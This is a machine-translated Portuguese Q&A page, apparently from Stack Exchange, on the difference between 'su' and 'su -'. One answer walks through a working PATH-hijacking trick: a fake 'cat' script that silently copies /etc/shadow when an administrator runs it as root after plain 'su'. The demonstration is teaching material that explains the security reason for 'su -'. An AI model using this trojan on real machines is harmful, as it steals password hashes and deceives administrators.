Não entendo por que su -
é preferível su
fazer login como root.
fonte
Não entendo por que su -
é preferível su
fazer login como root.
su -
chama um shell de logon após alternar o usuário. Um shell de login redefine a maioria das variáveis de ambiente, fornecendo uma base limpa.
su
apenas alterna o usuário, fornecendo um shell normal com um ambiente quase igual ao do usuário antigo.
Imagine, você é um desenvolvedor de software com acesso normal de usuário a uma máquina e seu administrador ignorante simplesmente não lhe dará acesso root. Vamos (espero) enganá-lo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Agora, você pergunta ao administrador por que não pode cat
o arquivo fictício na sua pasta pessoal, ele simplesmente não funciona!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se o seu administrador não for inteligente ou um pouco preguiçoso, ele pode ir até sua mesa e tentar com seus poderes de superusuário:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Uau! Obrigado, super administrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Ele Ele.
Você talvez tenha notado que a $PATH
variável corrompida não foi redefinida. Isso não teria acontecido se o administrador o invocasse su -
.
su --
é o mesmo quesu
.umask
000 ou ele não funcionará.su
arquivo dentro do PATH. Não é tão difícil imitar o comportamento do realsu
. O super-usuário tem sido descuidada qualquer maneira :-)su --
NÃO é o mesmo quesu -
:--
diz a um manipulador de opções getopt (s) (ou similar) para parar de processar a linha de comando para obter mais opções (útil por exemplo, se o resto contiver nomes de arquivos que poderiam começar com um '-'). Ou seja, no "rm -i - -f": -f é então tratado como um argumento regular, por isso aqui como o nome do arquivo pararm -i
, e não como um additionnal-f
opção para orm
comando. Entãosu --
é justosu
e nãosu -
! Assim,su --
seria tão inseguro para o exemplo (engraçado e instrutivo) de givan by wag. Usesu -
.su -
efetua o login completamente como root, enquantosu
faz com que você esteja fingindo ser root.O exemplo mais óbvio disso
~
é o diretório inicial do root, se você usarsu -
, mas o seu próprio diretório inicial, se o usarsu
.Dependendo do seu sistema, também pode significar diferenças no prompt
PATH
ou no arquivo de histórico.Portanto, se você faz parte de uma equipe que administra um sistema e seu colega lhe dá um comando para executar, você sabe que funcionará da mesma forma se os dois estiverem usando
su -
, mas se os dois estiverem usandosu
, poderá haver diferenças devido à sua diferentes configurações de shell.Por outro lado, se você deseja executar um comando como root, mas usando sua própria configuração, talvez
su
seja melhor para você.Também não se esqueça
sudo
, que tem uma-s
opção para iniciar um shell rodando como root. Obviamente, isso também tem regras diferentes e elas mudam dependendo da distribuição que você está usando.fonte
.bashrc
ou/etc/bashrc
ou/etc/profile.d
scripts são configuraçãoPATH
. Procureif [ $UID -eq 0 ]
ou algo assim.$USER
por exemplo, permanece inalterado.sudo su
?Eu uso su - quando estou em um diretório como um usuário comum, mas quero mudar para o root e permanecer no mesmo diretório após a troca. Quando você usa su - ele alterna o usuário para root e também leva você para / root, que é o diretório inicial raiz.
fonte
/
ou o que quer que seja definido como o diretório inicial do rootA principal diferença é:
su - username
configura o ambiente do shell como se fosse um logon limpo como o usuário especificado, acessa e usa variáveis de ambiente de usuários especificadas,su username
apenas inicia um shell com as configurações atuais do ambiente para o usuário especificado.Se o nome de usuário não for especificado com
su
esu -
, a conta raiz será implícita como padrão.fonte